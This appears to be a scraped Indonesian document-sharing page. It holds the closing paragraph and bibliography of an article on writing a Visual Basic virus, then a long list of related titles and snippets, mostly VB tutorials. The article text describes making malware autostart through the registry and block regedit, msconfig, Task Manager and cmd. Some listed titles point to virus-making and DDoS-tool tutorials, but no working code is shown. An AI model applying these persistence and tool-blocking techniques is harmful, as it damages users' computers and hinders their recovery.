20 melakukan beberapa pengaturan, dengan tujuan melancarkan aktivitasnya tanpa harus diketahui pengguna komputer. Program rekayasa virus yang dibuat dalam pembahasan ini, dimaksudkan saling memberi informasi tentang bagaimana virus dibuat dengan visual basic, dan diantara kemampuannya adalah dalam hal pengaturan registry agar pada saat start virus tersebut secara otomatis berjalan. Dalam memblokir beberapa fasilitas penting, seperti regedit, msconfig, task manager, cmd dan lain sebgainya merupakan bagian dari pertahanan. DAFTAR PUSTAKA 1. Junaidi (2006). Memburu Virus RontokBro Dan Variannya Dalam Membasmi Dan Mencegah. Cyber Raharja, 5(3), Rahmat Putra (2006). Innovative Source Code Visual Basic, Jakarta: Dian Rakyat. 3. Slebold, Dianne (2001). Visual Basic Developer Guide to SQL Server. Jakarta: Elex Media Komputindo. 4. Stallings, William (1999). Cryptography and Network Security. Second Edition. New Jersey: Prentice-Hall.Inc 5. Tri Amperiyanto (2002). Bermain-main dengan Virus Macro. Jakarta: Elex Media Komputindo. 6. Tri Amperiyanto (2004). Bermain-main dengan Registry Windows. Jakarta: Elex Media Komputindo. 7. Wardana (2007). Membuat 5 Program Dahsyat di Visual Basic Jakarta : Elex Media Komputindo. 8. Wiryanto Dewobroto (2003). Aplikasi Sains dan Teknik dengan Visual Basic 6.0. Jakarta: Elex Media Komputindo. Vol.1 No.2 - Januari
Rekayasa Teknik Pemrograman Penyerangan Dan Pertahanan Virus Lokal Menggunakan API - Visual Basic
Rekayasa Teknik Pemrograman Penyerangan Dan Pertahanan Virus Lokal Menggunakan API - Visual Basic Junaidi [email protected] :: http://junaidi.info Abstrak Belakangan ini perkembangan virus yang begitu
Rekayasa Teknik Pemrograman Penyerangan Dan Pertahanan Virus Lokal Menggunakan API - Visual Basic
Rekayasa Teknik Pemrograman Penyerangan Dan Pertahanan Virus Lokal Menggunakan API - Visual Basic Junaidi [email protected] http://junaidiskom.wordpress.com Lisensi Dokumen: Seluruh dokumen di IlmuKomputer.Com
Penggandaan Ke Sistem
Ketika virus dijalankan oleh seseorang maka virus tersebut akan mulai melakukan aktivitasnya sebagai virus yaitu dengan melakukan penggandaan ke system computer (Infeksi ke system). Hal ini dilakukan agar
Teknik Membongkar Pertahanan Virus Lokal Menggunakan Visual Basic Script dan Text Editor Untuk Pencegahan
Teknik Membongkar Pertahanan Virus Lokal Menggunakan Visual Basic Script dan Text Editor Untuk Pencegahan Junaidi [email protected] http://junaidiskom.wordpress.com Lisensi Dokumen: Seluruh dokumen
TEKNIK MEMBONGKAR PERTAHANAN VIRUS LOKAL MENGGUNAKAN VISUAL BASIC SCRIPT DAN TEXT EDITOR UNTUK PENCEGAHAN
TEKNIK MEMBONGKAR PERTAHANAN VIRUS LOKAL MENGGUNAKAN VISUAL BASIC SCRIPT DAN TEXT EDITOR UNTUK PENCEGAHAN Junaidi 1 Sugeng Santoso 2 Sugeng Widada 3 [email protected], [email protected] ABSTRAKSI Pesatnya
Jenis-Jenis Virus Komputer Yang Paling Berbahaya
Jenis-Jenis Virus Komputer Yang Paling Berbahaya Umi Habibah [email protected] :: http://penulis.com Virus komputer adalah sebuah program perangkat lunak berbahaya yang ditulis dengan sengaja untuk memasuki
Pembuatan Virus dengan Visual Basic
Pembuatan Virus dengan Visual Basic Artikel berikut hanya berupa illustrasi tentang bagaimana pemrograman program virus dengan menggunakan bahasa pemrograman Visual Basic. Artikel ini tidak bertujuan melakukan
E-Trick Visual Basic 6.0
DISCLAIMER Seluruh dokumen E-Trik di dalam CD ini dapat digunakan dan disebarkan secara bebas untuk tujuan belajar bukan komersial (non-profit), dengan syarat tidak menghapus atau merubah atribut penulis
Malang, Januari 2007 Penulis
Kata Pengantar Visual Basic merupakan salah satu bahasa pemrograman yang paling banyak digunakan saat ini. Penggunaannya tidak hanya terbatas pada pembuatan aplikasi-aplikasi baru saja, melainkan juga
Melindungi Komputer Dari Virus Tanpa Antivirus
Melindungi Komputer Dari Virus Tanpa Antivirus Nurman Fhirmanda [email protected] Abstrak Virus merupakan sebuah kumpulan script atau kode-kode yang dibuat untuk tujuan yang merusak dan negatif. Tujuan
Isi Untuk membuka Command Prompt : I. Cara I Klik START Pada menu Programs atau All Programs, pilih Accessories Klik Command Prompt
Tutorial Tips & Trik Opini ATTRIB. Perintah DOS (Diskette Operating Systems) untuk mencegah & mengatasi data dari Virus Nelson Butar Butar [email protected] Pendahuluan Tidak dapat dipungkiri lagi,
1. MENGENAL VISUAL BASIC
1. MENGENAL VISUAL BASIC 1.1 Mengenal Visual Basic 6.0 Bahasa Basic pada dasarnya adalah bahasa yang mudah dimengerti sehingga pemrograman di dalam bahasa Basic dapat dengan mudah dilakukan meskipun oleh
BAB IV IMPLEMENTASI DAN PENGUJIAN. dan tempat implementasi dari perangkat lunak ini adalah sebagai berikut :
BAB IV IMPLEMENTASI DAN PENGUJIAN 4.1 IMPLEMENTASI PERANGKAT LUNAK Lingkungan perangkat keras yang digunakan untuk perancangan sistem dan tempat implementasi dari perangkat lunak ini adalah sebagai berikut
Pengenalan Visual Basic
Pengenalan Visual Basic KETERANGAN : 1. Baris Menu, digunakan untuk memilih tugas-tugas tertentu seperti menyimpan project, membuka project, dll. 2. Main Toolbar, digunakan untuk melakukan tugastugas tertentu
SENI PEMROGRAMAN VIRUS DENGAN MENGGUNAKAN VBS ( VISUAL BASIC SCRIPT
SENI PEMROGRAMAN VIRUS DENGAN MENGGUNAKAN VBS ( VISUAL BASIC SCRIPT ) Disusun untuk memenuhi salah satu tugas mata kuliah Pengantar Teknologi Informasi Disusun oleh : Ahmad Soleh Afif D1A.07.0207 JURUSAN
Sistem Distribusi Data Melalui COM+ Dengan Visual Basic
Sistem Distribusi Data Melalui COM+ Dengan Visual Basic Artikel ini telah dipublikasikan pada majalah Mikrodata Vol. 5 Series 17, May 2002. Agus Kurniawan [email protected] http://blog.aguskurniawan.net
BAB II LANDASAN TEORI
BAB II LANDASAN TEORI 2.1 Pengertian Aplikasi Aplikasi dapat diartikan sebagai program komputer yang dibuat untuk menolong manusia dalam melaksanakan tugas tertentu. Aplikasi komputer adalah suatu pekerjaan
3.1 Aktif dalam Safe Mode
Virus dan Safe Mode Safe mode? Ya Windows biasanya akan diperlengkapi dengan modus safe mode. Dimaksudkan agar pemakai dapat memperbaiki Windows jika terjadi suatu musibah. Windows safe mode sebetulnya
Sesi/Perkuliahan ke: XII
Sesi/Perkuliahan ke: XII Tujuan Instruksional Khusus : 1. Mahasiswa mengerti dan memahami penggunaan Database dalam Visual Basic 2. Mahasiswa mengerti cara menampilkan file 3. Mahasiswa mengerti cara menyaring
PEMROGRAMAN KOMPUTER KODE MODUL: TIN 202 MODUL IV PENGENALAN MICROSOFT VISUAL BASIC 6.0
PEMROGRAMAN KOMPUTER KODE MODUL: TIN 202 MODUL IV PENGENALAN MICROSOFT VISUAL BASIC 6.0 LABORATORIUM TEKNIK INDUSTRI FAKULTAS TEKNIK UNIVERSITAS MUHAMMADIYAH SURAKARTA 2013 MODUL IV PENGENALAN MICROSOFT
Oleh : Uus Rusmawan Hal - 1 Menggabungkan Beberapa Program Aplikasi 1. Buatlah folder tempat menggabungkan aplikasi 2. Copy aplikasi pertama yang sudah jadi ke folder tersebut termasuk file yang sudah
1. Desktop Microsoft Windows
1. Desktop Microsoft Windows Icon Shortcut Quick Launch Taskbar Taskbar Shortcut Pada umumnya, taskbar ialah bagian yang terletak pada bagian bawah dari desktop. Tombol Start, tombol program-program aktif,
BAB 2 LANDASAN TEORI. Istilah komputer (computer) berasal dari bahasa latin computere yang berarti
BAB 2 LANDASAN TEORI 2.1 Pengertian Komputer Istilah komputer (computer) berasal dari bahasa latin computere yang berarti menghitung. Dalam bahasa Inggris komputer berasal dari kata to compute yang artinya
BAB III PEMBAHASAN MASALAH
BAB III PEMBAHASAN MASALAH Aplikasi yang dibuat oleh penulis adalah aplikasi yang dapat menjalankan atau memainkan file file multimedia khusus bereksientensi *.mp3, *.mpg, dan *.avi, karena itu penulis
CARA MEMBUAT VIRUS INSTAN
CARA MEMBUAT VIRUS INSTAN Arief Prabowo Masih ingat dengan virus Aksika? Virus open source yang satu itu memang memiliki banyak sekali varian. Tidak heran karena source code-nya memang disediakan bebas
BAB 2 LANDASAN TEORI
BAB 2 LANDASAN TEORI 2.1 Pengertian Komputer Istilah komputer (computer) berasal dari bahasa latin computere yang berarti menghitung. Dalam bahasa inggris dari kata computer yang berarti menghitung. Dapat
BAB V PROSEDUR DAN FUNGSI
BAB V PROSEDUR DAN FUNGSI Modul-modul dalam Visual Basic dibuat oleh suatu bagian/seksi deklarasi dimana anda mendeklarasikan tipe, konstan, dan variabel yang digunakan dalam modul serta kumpulan dari
Bab I Pengenalan Visual BASIC
Bab I Pengenalan Visual BASIC 1. Pendahuluan Visual BASIC (Beginners All-Purpose Symbolic Instruction Code) merupakan sebuah bahasa pemrograman yang dapat digunakan untuk membuat suatu aplikasi dalam Microsoft
BAB II LANDASAN TEORI
BAB II LANDASAN TEORI 2.1 Pengertian Aplikasi Program aplikasi adalah program komputer yang dibuat untuk mengerjakan atau menyelesaikam masalah masalah khusus, seperti penggajian. 1 2.2 Pengertian Visualisasi
Menampilkan List Komputer dan User-nya dalam Jaringan Intranet Dengan Fungsi WNet API
Menampilkan List Komputer dan User-nya dalam Jaringan Intranet Dengan Fungsi WNet API Artikel ini telah dipublikasikan pada majalah Mikrodata Vol. 8 Series 17, Agustus 2002. Agus Kurniawan [email protected]
Oleh : Uus Rusmawan Hal - 1 Membuat manual book dengan HELPANDDOC 1. Siapkan software HelpAndDoc.exe (download di internet) 2. Siapkan software HtmlHelp.exe (download di internet) 3. install kedua software
B. Alat dan Bahan 1. PC dengan sistem operasi Windows. 2. Software utility Recovery dan Restore. 3. Media storage.
A. Tujuan 1. Dengan mengikuti perkuliahan ini mahasiswa diharapkan memahami proses penyelamatan dan pengembalian data / file pada media storage. 2. Mahasiswa diharapkan mampu mengenali software-software
MODUL PRAKTIKUM 1 DASAR VISUAL BASIC 6.0
MODUL PRAKTIKUM 1 DASAR VISUAL BASIC 6.0 Setelah melaksanakan praktikum pada bab ini diharapkan mahasiswa dapat: Mengetahui konsep properti, event, methode dalam VB 6 Mengetahui lingkungan kerja IDE VB
Bab 1 Dasar Registry Windows XP
Bab 1 Dasar Registry Windows XP Pada bagian pertama ini Anda akan kami perkenalkan dengan registry khususnya pada sistem operasi Windows XP, dan bagaimana menggunakannya. Sebagai orang awam, pembahasan
Modul Praktikum Ke-1
Bahasa Pemrograman Dasar Fathurrohman 1 Modul Praktikum Ke-1 (Tampilan VB, Event, Property, Objek Kontrol : form, text, label, command) Mengenal Visual Basic (VB) Visual Basic adalah salah satu perangkat
BAB 2 LANDASAN TEORI. Istilah komputer ( computer ) berasal dari bahasa latin computere yang berarti
BAB 2 LANDASAN TEORI 2.1 Pengertian Komputer Istilah komputer ( computer ) berasal dari bahasa latin computere yang berarti menghitung. Dalam bahasa Inggris berasal dari kata computer yang artinya menghitung.
Pemrograman Visual Modul I Perkenalan Lembar Kerja VB 6.0. S. Thya Safitri
Pemrograman Visual Modul I Perkenalan Lembar Kerja VB 6.0 S. Thya Safitri Teknik Informatika Sekolah Tinggi Teknologi Telematika Telkom Purwokerto 2016 Visual Basic adalah salah suatu development tools
IMPLEMENTASI PEMROGRAMAN VISUAL BASIC DENGAN DATABASE ACCESS
IMPLEMENTASI PEMROGRAMAN VISUAL BASIC DENGAN DATABASE ACCESS I. Tujuan : 1. Mahasiswa dapat memahami tentang komponen pada Visual Basic yang digunakan untuk membuat koneksi aplikasi Visual Basic dengan
WinCE API. API Fungsi & prosedur. Microsoft Windows Kode program
4 Objektif : Memahami Windows API Membuat Aplikasi Menggunakan 4.1. Mengenal API Aplication Programming Interface (API) adalah salah satu atau beberapa prosedur atau fungsi yang terdapat pada sistem operasi,
MODUL I PENDAHULUAN. Modul I : Pengenalan Visual Basic 1
MODUL I PENDAHULUAN MENGENAL VISUAL BASIC Microsoft Visual Basic adalah bahasa pemrograman yang dugunakan untuk membuat aplikasi windows yang berbasis GUI. Visual Basil merupakan Event-Driven Programming
MENGELOLA FILE. - Untuk menampilkan file, perlu membuka direktori penyimpanannya.
MENGELOLA FILE Menampilkan File - Untuk menampilkan file, perlu membuka direktori penyimpanannya. - File disimpan pada susunan bertingkat-tingkat dan akan lebih mudah apabila organisasi file menggunakan
PENGANTAR TEKNOLOGI INFORMASI 2
PENGANTAR TEKNOLOGI INFORMASI 2 (Operating System, Command Prompt, Regedit, System32, TCP/IP Adress) Oleh : MUH. IDRUS (13.1401.164) DK.13 FAKULTAS ILMU KOMPUTER UNIVERSITAS INDONESIA TIMUR MAKASSAR 2014
BAB II LANDASAN TEORI
BAB II LANDASAN TEORI 2.1 Sekilas Mengenai Microsoft Visual Basic Versi 6 Microsoft Visual Basic adalah sebuah bahasa pemograman komputer. Bahasa pemograman adalah perintah perintah atau instruksi yang
Krisna D. Octovhiana. 1.1 Apa itu Operator?
Cepat Mahir Visual Basic 6.0 [email protected] Lisensi Dokumen: Seluruh dokumen di IlmuKomputer.Com dapat digunakan, dimodifikasi dan disebarkan secara bebas untuk tujuan bukan komersial (nonprofit),
BAB III PERANCANGAN ALAT SIMULASI
BAB III PERANCANGAN ALAT SIMULASI 3.1. Perencanaan Alat Simulasi Simulasi digunakan untuk mendiskripsikan cara kerja system pengendalian escalator otomatis menggunakan programmable logic controller (PLC).
Krisna D. Octovhiana. 1.1 Mengenal Data dan Variabel.
Cepat Mahir Visual Basic 6.0 [email protected] Lisensi Dokumen: Seluruh dokumen di IlmuKomputer.Com dapat digunakan, dimodifikasi dan disebarkan secara bebas untuk tujuan bukan komersial (nonprofit),
BAB IV IMPLEMENTASI DAN PENGUJIAN. dan menjelasan berbagai hal yang berhubungan dengan pengujian.
BAB IV IMPLEMENTASI DAN PENGUJIAN 4.1 Implementasi Setelah tahap analisis dan perancangan sistem sebagai tindak lanjut penyelesaian perancangan aplikasi tersebut. Maka dilakukan implementasi dari program
Krisna D. Octovhiana. 1.1 Mengenal Struktur Kontrol.
Cepat Mahir Visual Basic 6.0 [email protected] Lisensi Dokumen: Seluruh dokumen di IlmuKomputer.Com dapat digunakan, dimodifikasi dan disebarkan secara bebas untuk tujuan bukan komersial (nonprofit),
Simposium Nasional Teknologi Terapan (SNTT) ISSN: X PERANGKAT LUNAK PENGAMANAN DATA MENGGUNAKAN ALGORITMA MESSAGE DIGEST-5 (MD-5)
PERANGKAT LUNAK PENGAMANAN DATA MENGGUNAKAN ALGORITMA MESSAGE DIGEST-5 (MD-5) Sastya Hendri Wibowo 1* 1 Program Studi Informatika Fakultas Teknik Universitas Muhammadiyah Bengkulu Jl. Bali Bengkulu *e-mail
BAB IV PERANCANGAN. Gambar diatas adalah tampilang awal ketika ingin memulai project baru. Pilih Standart EXE untuk memulai project.
BAB IV PERANCANGAN 4.1 Perancangan Visual Basic 6.0 Dalam perancangan aplikasi perancangan data menggunakan visual basic 6.0 langkah pertama adalah dengan membuat Form Home Gambar 4.1 New Project Gambar
BAB 2 LANDASAN TEORI. Data adalah fakta atau bagian dari fakta yang digambarkan dengan simbol-simbol,
BAB 2 LANDASAN TEORI 2.1 Data dan Informasi Data adalah fakta atau bagian dari fakta yang digambarkan dengan simbol-simbol, gambar-gambar, nilai-nilai, bilangan-bilangan, uraian karakter yang mempunyai
VISUAL BASIC 6.0 PEMROGRAMAN KOMPUTER. Visual Basic
PEMROGRAMAN KOMPUTER VISUAL BASIC 6.0 Visual Basic Asal mula VB dari bahasa BASIC (Beginners Allpurpose Symbolic Instruction Code) yang pada awalnya bekerja pada sistem operasi DOS. Kelebihan VB : Sangat
STEP BY STEP MENJADI PROGRAMMER HANDAL DENGAN VB.NET
STEP BY STEP MENJADI PROGRAMMER HANDAL DENGAN VB.NET Lisensi Dokumen: Seluruh dokumen di IlmuKomputer.Com dapat digunakan, dimodifikasi dan disebarkan secara bebas untuk tujuan bukan komersial (nonprofit),
[Tutorial VB6] Bab 4 Penggunaan Data dan Variabel
[Tutorial VB6] Bab 4 Penggunaan Data dan Variabel 1. Buka Microsoft Visual Basic 6.0. 2. Pada jendela New Project, klik Existing Pilih file Latihan.vbp klik Open 3. Tambahkan form baru ke dalam Project,
Materi : Manajemen File dalam OS Windows
Materi : Manajemen File dalam OS Windows 1. Sistem Manajemen File Dalam sistem operasi komputer kita mengenal sistem manajemen file. Sistem manajemen file ini perlu diterapkan agar dapat digunakan dalam
PEMROGRAMAN DASAR. Visual Basic 6
PEMROGRAMAN DASAR Visual Basic 6 TUJUAN Memahami solusi studi kasus menggunakan konsep berorientasi objek dalam visual basic (VB) Materi Konsep Objek Dalam Visual basic Objek in form and control Implementation
Visual Basic 6.0 For Beginners
Visual Basic 6.0 For Beginners Febryan Hari Purwanto [email protected] Chapter 10 Modul Standar Ketika membuat program yang cukup besar, kita mungkin memiliki lebih dari satu form yang menggunakan
Modul Praktikum Ke-2
Bahasa Pemrograman Dasar Fathurrohman 6 Modul Praktikum Ke-2 (Method, Objek Kontrol (OptionButton, CheckBox, Frame), Variabel, Tipe Data) Aktifkan VB 6 melalui tombol Start. Buka kembali project Latihan1.vbp:
Mengerti dan memahami pemrograman berbasis object Mengerti dan memahami pembuatan visualisasi untuk interface
PERCOBAAN 9 Dasar Pemograman Visual A. Tujuan Mengerti dan memahami pemrograman berbasis object Mengerti dan memahami pembuatan visualisasi untuk interface B. Teori 1. Mengenal Visual Basic Visual Basic
Oleh : Uus Rusmawan Hal - 1 Membuat Laporan Berbentuk PDF dengan Crystal Report Cara ini jarang sekali digunakan, tetapi tidak ada salahnya jika kita mencobanya. Ikutilah langkah-langkah berikut ini. 1.
Registry secara global dibagi beberapa handle key yaitu : HKEY_CLASSES_ROOT HKEY_CURRENT_USER HKEY_LOCAL_MACHINE HKEY_USERS HKEY_CURRENT_CONFIG
Apa itu Registry? Registry adalah informasi database yang berada pada sistem operasi Microsoft Windows 95 keatas. Database ini menyimpan pengaturan yang kita lakukan pada komputer. Setiap kali program
BAB IV HASIL DAN UJI COBA
BAB IV HASIL DAN UJI COBA IV.1. Tampilan Hasil Tampilan hasil merupakan hasil dari perancangan antarmuka program sesuai dengan kebutuhan dari sistem yang dirancang. Sesuai tujuan dari penelitian ini maka
PENGGUNAAN DATA DAN VARIABEL
PENGGUNAAN DATA DAN VARIABEL Mengenal Data dan Variabel Ketika seorang user (pengguna) menggunakan sebuah program komputer, seringkali komputer memintanya untuk memberikan informasi. Informasi ini kemudian
PROYEK-PROYEK VISUAL BASIC DAN DASAR-DASAR VISUAL BASIC CODE
PROYEK-PROYEK VISUAL BASIC DAN DASAR-DASAR VISUAL BASIC CODE TIK : Agar mahasiswa mampu membuat proyek. Agar mahasiswa mampu bekerja dengan mendisain file proyek pada Visual Basic yang digunakan. REFERENSI
BAB 2 LANDASAN TEORI
BAB 2 LANDASAN TEORI 2.1 Pengertian Komputer Istilah komputer (computer) berasal dari bahasa latin computere yang berarti menghitung. Dalam Bahasa Inggris komputer berasal dari kata to compute yang artinya
Program absen dengan menggunakan visual basic 6.0
Program absen dengan menggunakan visual basic 6.0 Pajrin Wurika Sahara [email protected] Abstrak Visual Basic merupakan sebuah bahasa pemrograman yang menawarkan Integrated Development Environment
tekan enter untuk memulai proses kloning. h. Setelah selesai, matikan komputer anda dan coba booting dari hardisk hasil cloning tadi.
A. Tujuan 1. Dengan mengikuti perkuliahan ini mahasiswa diharapkan memahami fungsi kloning harddisk (harddisk clonning). 2. Mahasiswa diharapkan mampu mengenali software-software utility kloning. 3. Mahasiswa
Program Studi Teknik Mesin S1
SATUAN ACARA PERKULIAHAN MATA KULIAH : DASAR KOMPUTER APLIKASI TEKNIK MESIN 2A KODE / SKS : IT042215 / 2 1. 1. Penjelasan Materi Perkuliahan 1.1. Penj elasan tentang Silabus 1.2. Pengenalan Bahasa pemrograman
1. Buka Visual Basic 6 sobat. Buat project baru, masukkan componen Microsoft Winsock Control 2. Masukkan coding berikut
Membuat Sendiri DDoS Tool Dengan Visual Basic 6 Saat ini banyak bertebaran DDoS Tool yang bisa kita jumpai di dunia maya ini. DDoS ( Distributed Denial of Service ) adalah sebuah tipe serangan dari hacker
OPERASI FILE Operasi File Dalam Visual Basic Membuka File
9 OPERASI FILE 9.1. Operasi File Dalam Visual Basic Visual Basic menyediakan suatu fasilitas untuk membaca, menyimpan dan memperbaiki file data, sehingga memungkinkan untuk memisahkan data dengan program,
BAB 2 LANDASAN TEORI
BAB 2 LANDASAN TEORI 2.1 Sekilas Tentang Microsoft Visual Basic 6.0 Microsoft Visual Basic merupakan salah satu aplikasi pemrograman visual yang memiliki bahasa pemrograman yang cukup popular dan mudah
Registry. Anharku
Registry Anharku [email protected] http://anharku.freevar.com Lisensi Dokumen: Copyright 2003-2009 IlmuKomputer.Com Seluruh dokumen di IlmuKomputer.Com dapat digunakan, dimodifikasi dan disebarkan secara
MEMBUAT LAPORAN (DATA REPORT)
1 MEMBUAT LAPORAN (DATA REPORT) Data Report merupakan sebuah desain untuk mencetak laporan dimana memiliki bagian-bagian seperti terlihat pada gambar 1 berikut : Gambar 1. Tampilan Data Report Maksud dari
Algoritma Pemrograman 2 B
Algoritma Pemrograman 2 B Dr. Lily Wulandari Minggu 2 PENGENALAN VISUAL BASIC 1 Langkah- langkah untuk menginstall VB6 adalah: 1. Masukan CD-ROM installer, buka isinya kemudian klik ganda pada setup.exe
Otodidak VBA MS Excel untuk Pemula
Otodidak VBA MS Excel untuk Pemula Otodidak VBA MS Excel untuk Pemula Jubilee Enterprise PENERBIT PT ELEX MEDIA KOMPUTINDO Otodidak VBA MS Excel untuk Pemula Jubilee Enterprise 2017, PT Elex Media Komputindo,
BAB 2 LANDASAN TEORI
BAB 2 LANDASAN TEORI 2.1 Pengertian Komputer Komputer adalah serangkaian ataupun sekelompok mesin elektronik yang terdiri dari ribuan bahkan jutaan komponen yang dapat saling bekerja sama, serta membentuk
MODUL I Pengenalan IDE Visual Basic 6.0
MODUL I Pengenalan IDE Visual Basic 6.0 Visual Basic (VB) pada dasarnya adalah sebuah bahasa pemrograman komputer. Bahasa pemrograman adalah perintah-perintah atau instruksi yang dimengerti oleh komputer
Virus Kejam Dan Bandel Pada Komputer
Virus Kejam Dan Bandel Pada Komputer Barian Berial Siswoyo [email protected] Abstrak Perhatian user yang cukup besar terhadap virus lokal jangan sampai mengakibatkan lengah dengan keberadaan virus
Krisna D. Octovhiana. 1.1 Apa itu Array?
Cepat Mahir Visual Basic 6.0 [email protected] Lisensi Dokumen: Seluruh dokumen di IlmuKomputer.Com dapat digunakan, dimodifikasi dan disebarkan secara bebas untuk tujuan bukan komersial (nonprofit),
Mengenal Visual Basic Clasic. Agus Priyanto, M.Kom
Mengenal Visual Basic Clasic Agus Priyanto, M.Kom Outline Materi Sekilas VB Clasic Perbedaan VB dan VB.NET Interface Antar Muka Konsep Dasar Pemrograman Membuat Project Baru Sekilas Sejarah Visual basic
Mencegah Virus Tanpa Anti-Virus untuk Win XP, Win2K & Win2K3
Mencegah Virus Tanpa Anti-Virus untuk Win XP, Win2K & Win2K3 Makin maraknya (baca:hebatnya) virus-virus lokal yang terkadang terlambat dikenali anti-virus telah menjadi momok bagi pengguna sistem operasi
Pendidikan Teknik Informatika Universitas Negeri Malang
STANDAR KOMPETENSI Mengenal Bahasa Pemrograman Visual Basic 6.0 KOMPETENSI DASAR Mengenal perintah dasar dan menu Visual Basic 6.0 1 2 3 IDE dan konsep penggunaan Visual Basic 6.0 Mengenal Interface visual
Cepat Mahir Visual Basic 6.0. Cepat Mahir Visual Basic 6.0. Bab 10 Penggunaan Kontrol Array. Krisna D. Octovhiana
Cepat Mahir Visual Basic 6.0 [email protected] Lisensi Dokumen: Seluruh dokumen di IlmuKomputer.Com dapat digunakan, dimodifikasi dan disebarkan secara bebas untuk tujuan bukan komersial (nonprofit),
MODUL 2 PERANCANGAN INTERFACE
6 MODUL 2 PERANCANGAN INTERFACE A. Tujuan Praktikum 1. Mahasiswa mampu memahami struktur dasar dan konsep pemrograman berbasis objek pada Visual Basic 2. Mahasiswa mampu membuat interface antar muka untuk
A. PROJECT PROJECT VISUAL BASIC
A. PROJECT PROJECT VISUAL BASIC - Project (Proyek) Proyek adalah file pusat yang mengelola dan mencatat seluruh file-file yang dibutuhkan untuk membentuk suatu aplikasi. File proyek ini akan menyimpan
MODUL I PENGENALAN VISUAL BASIC 6.0. Visual Basic adalah sebuah program yang berfungsi untuk membuat aplikasi berbasis
MODUL I PENGENALAN VISUAL BASIC 6.0 1. Visual Basic 6.0 Visual Basic adalah sebuah program yang berfungsi untuk membuat aplikasi berbasis Microsoft Windows secara cepat dan mudah. Dalam Visual Basic terdapat
Hak Cipta Pada
Mata Diklat : Keterampilan Komputer Dan Pengelolaan Informasi Program studi : Semua Program studi Kompetensi : Mengoperasikan Sistem Operasi (Windows XP) Kode : SWR.OPR.200.(1).A Durasi Pemelajaran : 10
METODA PERTAHAN DIRI PROGRAM VIRUS
METODA PERTAHAN DIRI PROGRAM VIRUS JUFRIADIF NA AM Universitas Putra Indonesia YPTK Padang Padang Sumatera Barat Indonesia 2012 ABSTRACT Virus is a computer program to duplicate or replicate by inserting
BAB 2 LANDASAN TEORI
BAB 2 LANDASAN TEORI 2.1 Pengertian Komputer Istilah komputer (computer) berasal dari bahasa latin computere yang berarti menghitung. Dalam bahasa inggris dari kata computer yang berarti menghitung. Dapat
Algoritma Pemrograman A
Algoritma Pemrograman A Memahami Proyek Proyek dan Dasar Dasar Delphi Code Memahami proyek Delphi Komponen Proyek Project Explorer Windows Dasar-Dasar Delphi Code Procedures IDE (Intregated Development
Coding : Coding : Oleh : Uus Rusmawan Hal - 1
Oleh : Uus Rusmawan Hal - 1 Private Sub Form_Unload(Cancel As Integer) Do Me.Top = Me.Top + 40 Me.Move Me.Left, Me.Top DoEvents Loop Until Me.Top > Screen.Height - 500 If Label1.Visible = True Then Label1.Visible
Sesi/Perkuliahan ke: I
Sesi/Perkuliahan ke: I Tujuan Instruksional Khusus : 1. Mahasiswa dapat mengetahui kebutuhan perangkat keras yg digunakan untuk Visual Basic 2. Mahasiswa dapat melakukan instalasi Visual Basic 3. Mahasiswa
Sistem Informasi Royalti
Sistem Informasi Royalti POKOK BAHASAN Diagram Objek Sistem Informasi Royalti Struktur File Sistem Informasi Royalti Membuat Database dan Tabel Form-Form yang Terlibat Pembuatan Form Wizard Pembuatan Form
LAPORAN PRAKTIKUM BAHASA PEMOGRAMAN VISUAL. Asnita Meydelia C. K OFF E
LAPORAN PRAKTIKUM BAHASA PEMOGRAMAN VISUAL Asnita Meydelia C. K. 130533608143 OFF E UNIVERSITAS NEGERI MALANG FAKULTAS TEKNIK ELEKTRO PRODI S1 PENDIDIKAN TEKNIK INFORMATIKA JANUARI, 2015 LABORATORIUM KOMPUTER
Cara Membasmi Virus Ramnit dengan Tuntas
Cara Membasmi Virus Ramnit dengan Tuntas DHIAN MEIDIANTO [email protected]:: http://dhianmeidianto.blogspot.com Abstrak Ibarat kasus korupsi yang sampai saat ini masih tetap saja mencengkeram Indonesia
BAB IV IMPLEMENTASI DAN ANALISA
BAB IV IMPLEMENTASI DAN ANALISA 4. Implementasi dan Analisa Pada bagian ini akan dijelaskan langah-langkah pembuatan aplikasi dengan menggunakan Bahasa pemrograman Java untuk Android, proses implementasi
MODUL 1 PENGENALAN VISUAL BASIC 6.0
MODUL 1 PENGENALAN VISUAL BASIC 6.0 A. PENGANTAR Bahasa Basic pada dasarnya adalah bahasa pemrograman yang dibuat agar mudah dimengerti sehingga pemrograman di dalam bahasa Basic dapat dengan mudah dilakukan
